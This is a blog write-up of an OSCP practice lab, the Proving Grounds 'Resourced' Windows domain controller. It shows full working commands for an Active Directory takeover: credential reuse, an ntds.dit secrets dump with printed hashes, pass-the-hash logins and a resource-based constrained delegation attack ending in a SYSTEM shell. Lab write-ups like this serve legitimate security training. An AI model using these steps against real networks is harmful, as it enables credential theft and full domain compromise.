[OSCP Practice Series 65] Proving Grounds — Resourced

Ardian Danny
6 min readMar 24, 2024

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Machine Type: Windows

The Attack

A bunch of port. Let’s start enumerating.

I can perform anonymous login, but there are no shares available. I ran enum4linux for additional enumeration.

Users and some interesting notes
Password policy
Groups
Builtin group memberships, local groups, and domain groups
Domain group memberships

We obtained a lot of useful information, such as the domain Users. There’s one particularly interesting piece of information in the user description.

index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator  Name: (null)    Desc: Built-in account for administering the computer/domain                                                                                                
index: 0xf72 RID: 0x457 acb: 0x00020010 Account: D.Durant Name: (null) Desc: Linear Algebra and crypto god
index: 0xf73 RID: 0x458 acb: 0x00020010 Account: G.Goldberg Name: (null) Desc: Blockchain expert
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xf6d RID: 0x452 acb: 0x00020010 Account: J.Johnson Name: (null) Desc: Networking specialist
index: 0xf6b RID: 0x450 acb: 0x00020010 Account: K.Keen Name: (null) Desc: Frontend Developer
index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account
index: 0xf6c RID: 0x451 acb: 0x00000210 Account: L.Livingstone Name: (null) Desc: SysAdmin
index: 0xf6a RID: 0x44f acb: 0x00020010 Account: M.Mason Name: (null) Desc: Ex IT admin
index: 0xf70 RID: 0x455 acb: 0x00020010 Account: P.Parker Name: (null) Desc: Backend Developer
index: 0xf71 RID: 0x456 acb: 0x00020010 Account: R.Robinson Name: (null) Desc: Database Admin
index: 0xf6f RID: 0x454 acb: 0x00020010 Account: S.Swanson Name: (null) Desc: Military Vet now cybersecurity specialist
index: 0xf6e RID: 0x453 acb: 0x00000210 Account: V.Ventz Name: (null) Desc: New-hired, reminder: HotelCalifornia194!

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[M.Mason] rid:[0x44f]
user:[K.Keen] rid:[0x450]
user:[L.Livingstone] rid:[0x451]
user:[J.Johnson] rid:[0x452]
user:[V.Ventz] rid:[0x453]
user:[S.Swanson] rid:[0x454]
user:[P.Parker] rid:[0x455]
user:[R.Robinson] rid:[0x456]
user:[D.Durant] rid:[0x457]
user:[G.Goldberg] rid:[0x458]

Could be potential password for the V.Ventz user

V.Ventz:HotelCalifornia194!

Now let’s try to use the potential credential with evil-winrm, or SMB. We can use the credentials for SMB.

We got some interesting shares now.

Interesting Active Directory and registry directory on the shares. And there’s ntds.dit and SYSTEM file, we can dump credentials from here using secretsdump.

Since the ntds.dit and SYSTEM file is big, we could change the timeout for it.

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

NTLM Hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:12579b1666d4ac10f0f59f300776495f:::                                                                                                                                                                                        
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
RESOURCEDC$:1000:aad3b435b51404eeaad3b435b51404ee:9ddb6f4d9d01fedeb4bccfb09df1b39d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3004b16f88664fbebfcb9ed272b0565b:::
M.Mason:1103:aad3b435b51404eeaad3b435b51404ee:3105e0f6af52aba8e11d19f27e487e45:::
K.Keen:1104:aad3b435b51404eeaad3b435b51404ee:204410cc5a7147cd52a04ddae6754b0c:::
L.Livingstone:1105:aad3b435b51404eeaad3b435b51404ee:19a3a7550ce8c505c2d46b5e39d6f808:::
J.Johnson:1106:aad3b435b51404eeaad3b435b51404ee:3e028552b946cc4f282b72879f63b726:::
V.Ventz:1107:aad3b435b51404eeaad3b435b51404ee:913c144caea1c0a936fd1ccb46929d3c:::
S.Swanson:1108:aad3b435b51404eeaad3b435b51404ee:bd7c11a9021d2708eda561984f3c8939:::
P.Parker:1109:aad3b435b51404eeaad3b435b51404ee:980910b8fc2e4fe9d482123301dd19fe:::
R.Robinson:1110:aad3b435b51404eeaad3b435b51404ee:fea5a148c14cf51590456b2102b29fac:::
D.Durant:1111:aad3b435b51404eeaad3b435b51404ee:08aca8ed17a9eec9fac4acdcb4652c35:::
G.Goldberg:1112:aad3b435b51404eeaad3b435b51404ee:62e16d17c3015c47b4d513e65ca757a2:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:73410f03554a21fb0421376de7f01d5fe401b8735d4aa9d480ac1c1cdd9dc0c8
Administrator:aes128-cts-hmac-sha1-96:b4fc11e40a842fff6825e93952630ba2
Administrator:des-cbc-md5:80861f1a80f1232f
RESOURCEDC$:aes256-cts-hmac-sha1-96:b97344a63d83f985698a420055aa8ab4194e3bef27b17a8f79c25d18a308b2a4
RESOURCEDC$:aes128-cts-hmac-sha1-96:27ea2c704e75c6d786cf7e8ca90e0a6a
RESOURCEDC$:des-cbc-md5:ab089e317a161cc1
krbtgt:aes256-cts-hmac-sha1-96:12b5d40410eb374b6b839ba6b59382cfbe2f66bd2e238c18d4fb409f4a8ac7c5
krbtgt:aes128-cts-hmac-sha1-96:3165b2a56efb5730cfd34f2df472631a
krbtgt:des-cbc-md5:f1b602194f3713f8
M.Mason:aes256-cts-hmac-sha1-96:21e5d6f67736d60430facb0d2d93c8f1ab02da0a4d4fe95cf51554422606cb04
M.Mason:aes128-cts-hmac-sha1-96:99d5ca7207ce4c406c811194890785b9
M.Mason:des-cbc-md5:268501b50e0bf47c
K.Keen:aes256-cts-hmac-sha1-96:9a6230a64b4fe7ca8cfd29f46d1e4e3484240859cfacd7f67310b40b8c43eb6f
K.Keen:aes128-cts-hmac-sha1-96:e767891c7f02fdf7c1d938b7835b0115
K.Keen:des-cbc-md5:572cce13b38ce6da
L.Livingstone:aes256-cts-hmac-sha1-96:cd8a547ac158c0116575b0b5e88c10aac57b1a2d42e2ae330669a89417db9e8f
L.Livingstone:aes128-cts-hmac-sha1-96:1dec73e935e57e4f431ac9010d7ce6f6
L.Livingstone:des-cbc-md5:bf01fb23d0e6d0ab
J.Johnson:aes256-cts-hmac-sha1-96:0452f421573ac15a0f23ade5ca0d6eada06ae85f0b7eb27fe54596e887c41bd6
J.Johnson:aes128-cts-hmac-sha1-96:c438ef912271dbbfc83ea65d6f5fb087
J.Johnson:des-cbc-md5:ea01d3d69d7c57f4
V.Ventz:aes256-cts-hmac-sha1-96:4951bb2bfbb0ffad425d4de2353307aa680ae05d7b22c3574c221da2cfb6d28c
V.Ventz:aes128-cts-hmac-sha1-96:ea815fe7c1112385423668bb17d3f51d
V.Ventz:des-cbc-md5:4af77a3d1cf7c480
S.Swanson:aes256-cts-hmac-sha1-96:8a5d49e4bfdb26b6fb1186ccc80950d01d51e11d3c2cda1635a0d3321efb0085
S.Swanson:aes128-cts-hmac-sha1-96:6c5699aaa888eb4ec2bf1f4b1d25ec4a
S.Swanson:des-cbc-md5:5d37583eae1f2f34
P.Parker:aes256-cts-hmac-sha1-96:e548797e7c4249ff38f5498771f6914ae54cf54ec8c69366d353ca8aaddd97cb
P.Parker:aes128-cts-hmac-sha1-96:e71c552013df33c9e42deb6e375f6230
P.Parker:des-cbc-md5:083b37079dcd764f
R.Robinson:aes256-cts-hmac-sha1-96:90ad0b9283a3661176121b6bf2424f7e2894079edcc13121fa0292ec5d3ddb5b
R.Robinson:aes128-cts-hmac-sha1-96:2210ad6b5ae14ce898cebd7f004d0bef
R.Robinson:des-cbc-md5:7051d568dfd0852f
D.Durant:aes256-cts-hmac-sha1-96:a105c3d5cc97fdc0551ea49fdadc281b733b3033300f4b518f965d9e9857f27a
D.Durant:aes128-cts-hmac-sha1-96:8a2b701764d6fdab7ca599cb455baea3
D.Durant:des-cbc-md5:376119bfcea815f8
G.Goldberg:aes256-cts-hmac-sha1-96:0d6ac3733668c6c0a2b32a3d10561b2fe790dab2c9085a12cf74c7be5aad9a91
G.Goldberg:aes128-cts-hmac-sha1-96:00f4d3e907818ce4ebe3e790d3e59bf7
G.Goldberg:des-cbc-md5:3e20fd1a25687673

And we get all of the hash. Let’s check if we can remote using all of this hashesh. To check the valid user and hashesh, we can use crackmapexec.

crackmapexec winrm 192.168.167.175  -u users -H hashesh

Okay, we got a valid one. Let’s remote.

L.Livingstone:19a3a7550ce8c505c2d46b5e39d6f808
evil-winrm -i 192.168.167.175 -u L.Livingstone -H '19a3a7550ce8c505c2d46b5e39d6f808'

We are in!

local.txt: d63d97e4b46aba773f1269bce1d5de3f

Let’s try PowerUp for a quick win.

Only DLL Hijacking, but I assume it won’t work. Yeap, it doesn’t work. Let’s check for something else.

Let’s just do Bloodhound.

This is the shortest path to Domain Admin from our current position. It’s pretty straightforward; we have GenericAll access to the DC (RESOURCEDC.RESOURCED.LOCAL).

The point is, we have to perform a Constrained Delegation attack to get access to the DC. However, the issue is that there’s no user or computer that we are trusted to authenticate with. CMIIW.

So, we have to create our own. I’ve tried using the steps given from the BloodHound help menu, but it doesn’t work. Now, I’m stuck.

I decided to look at the walkthrough..

Let’s use our access with the l.livingstone account to create a new machine account on the domain. We can do with by using impacket-addcomputer.

impacket-addcomputer resourced.local/l.livingstone -dc-ip 192.168.167.175 -hashes :19a3a7550ce8c505c2d46b5e39d6f808 -computer-name 'ATTACK$' -computer-pass 'AttackerPC1!'

We can verify that this machine account was added to the domain by using our evil-winrm session from before.

get-adcomputer attack

With this account added, we now need a python script to help us manage the delegation rights. Let’s grab a copy of rbcd.py and use it to set msDS-AllowedToActOnBehalfOfOtherIdentity on our new machine account.

sudo python3 /opt/rbcd-attack/rbcd.py -dc-ip 192.168.167.175 -t RESOURCEDC -f 'ATTACK' -hashes :19a3a7550ce8c505c2d46b5e39d6f808 resourced\\l.livingstone

We can confirm that this was successful by using our evil-winrm session.

Get-adcomputer resourcedc -properties msds-allowedtoactonbehalfofotheridentity |select -expand msds-
Doesn’t show for me but the exploit will work somehow

We now need to get the administrator service ticket. We can do this by using impacket-getST with our privileged machine account.

impacket-getST -spn cifs/resourcedc.resourced.local resourced/attack\$:'AttackerPC1!' -impersonate Administrator -dc-ip 192.168.167.175

This saved the ticket on our Kali host as Administrator.ccache. We need to export a new environment variable named KRB5CCNAME with the location of this file.

export KRB5CCNAME=./Administrator.ccache

Now, all we have to do is add a new entry in /etc/hosts to point resourcedc.resourced.local to the target IP address and run impacket-psexec to drop us into a system shell.

sudo sh -c 'echo "192.168.167.175 resourcedc.resourced.local" >> /etc/hosts'
sudo impacket-psexec -k -no-pass resourcedc.resourced.local -dc-ip 192.168.167.175

I definitely need to learn about AD more.. well, the more you know.

proof.txt: 467d398ad2621d0abaefaf8765203c29

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Ardian Danny

Penetration Tester, Ethical Hacker, CTF Player, and a Cat Lover. My first account got disabled by Medium, but it won’t stop me from sharing the things I love.